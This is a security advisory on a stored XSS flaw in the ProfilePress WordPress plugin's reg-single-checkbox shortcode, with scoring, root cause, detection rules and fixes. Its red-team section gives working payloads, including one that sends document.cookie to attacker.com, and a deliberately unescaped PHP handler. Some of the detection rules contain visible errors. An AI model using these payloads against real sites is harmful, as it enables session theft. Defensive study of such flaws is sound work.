CVE-2024-3210

Executive Summary

CVE-2024-3210 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.15.5. The flaw resides in the reg-single-checkbox shortcode, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious shortcode. The vulnerability has a CVSS score of 6.4 (Medium), and while the EPSS score is currently 0.0%, the lack of a known patch makes it a significant risk for WordPress sites using this plugin.

WordPress Ecosystem Context

This vulnerability is specific to the ProfilePress plugin within the WordPress ecosystem. It is not related to Apache or Nginx server software. The attack vector relies on WordPress user roles and the plugin's shortcode rendering, making it a typical WordPress plugin security issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for widespread exploitation in WordPress environments elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress ecosystem. The ProfilePress plugin provides a reg-single-checkbox shortcode for registration forms. When a user with contributor-level privileges or higher creates or edits a post/page, they can insert this shortcode with malicious attributes. The plugin fails to properly sanitize the label or other user-supplied attributes before rendering them in the HTML output.

Attack Flow:

1. An authenticated attacker with contributor-level access logs into WordPress.
2. The attacker creates a new post or page and inserts the [reg-single-checkbox] shortcode with a crafted attribute, e.g., [reg-single-checkbox label="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the label without escaping, embedding the script into the page's HTML.
4. When any user (including administrators) visits the compromised page, the script executes in their browser context.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo or print without esc_attr() or esc_html() for the attribute values.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (ProfilePress <= 4.15.5):

// In shortcode handler
function profilepress_reg_single_checkbox_shortcode($atts) {
    $atts = shortcode_atts(array(
        'label' => '',
    ), $atts);
    // Direct output without escaping
    echo '<label>' . $atts['label'] . '</label>';
}

Patched Code (Hypothetical):

function profilepress_reg_single_checkbox_shortcode($atts) {
    $atts = shortcode_atts(array(
        'label' => '',
    ), $atts);
    // Properly escape output
    echo '<label>' . esc_html($atts['label']) . '</label>';
}

The fix involves using esc_html() or esc_attr() to escape the attribute value before output.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress site with ProfilePress plugin <= 4.15.5.
• Attacker account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [reg-single-checkbox label="<script>alert(document.cookie)</script>"]
   

4. Publish or save the post as draft (if draft, victim must view it).
5. When an administrator or other user visits the post, the script executes.

Advanced Payload:

[reg-single-checkbox label="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]

Blue Team (Defender) Perspective

Detection:

• Monitor for posts/pages containing the [reg-single-checkbox] shortcode with suspicious attributes.
• Look for unusual JavaScript or event handlers in shortcode parameters.
• Use the Sigma rule below to detect exploitation attempts in web logs.

Mitigation:

• Disable the ProfilePress plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Presence of posts/pages containing [reg-single-checkbox label="<script>...</script>"] in the WordPress database.
  • Modified plugin files (though unlikely, as the vulnerability is in the core plugin).

• Network-based IOCs:

  • HTTP requests to WordPress admin with shortcode parameters containing <script> or event handlers.
  • Outbound connections to attacker-controlled domains from compromised pages.

• Log-based IOCs:

  • Web server logs showing POST requests to wp-admin/post.php with [reg-single-checkbox in the content.
  • Error logs indicating XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2024_3210_ProfilePress_XSS {
    meta:
        description = "Detects stored XSS payloads in ProfilePress shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3210"
    strings:
        $shortcode = /\[reg-single-checkbox[^\]]*label\s*=\s*["'][^"']*<script[^>]*>/
        $event_handler = /\[reg-single-checkbox[^\]]*label\s*=\s*["'][^"']*on\w+\s*=\s*["']/
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2024-3210 ProfilePress Stored XSS Detection
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects attempts to exploit stored XSS in ProfilePress reg-single-checkbox shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wp-admin/post.php'
        cs-uri-query|contains: 'reg-single-checkbox'
        cs-uri-query|re: 'label=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3210 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"reg-single-checkbox"; http_client_body; pcre:"/label\s*=\s*["'][^"']*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ProfilePress plugin until a patch is released.
2. Review and remove any posts/pages containing suspicious shortcode usage.
3. Audit user roles and revoke contributor-level access for untrusted users.

Long-term Fix:

• Monitor the ProfilePress plugin page for an official update (version > 4.15.5).
• Apply the patch as soon as it becomes available.
• Implement input validation and output escaping for all shortcode attributes.

Workaround:

• Use a WAF to block requests containing <script> or event handlers in shortcode parameters.
• Add a custom function to your theme's functions.php to sanitize shortcode output:

add_shortcode('reg-single-checkbox', 'custom_reg_single_checkbox');
function custom_reg_single_checkbox($atts) {
    $atts = shortcode_atts(array('label' => ''), $atts);
    return '<label>' . esc_html($atts['label']) . '</label>';
}

Valters IT
Securing Digital Frontiers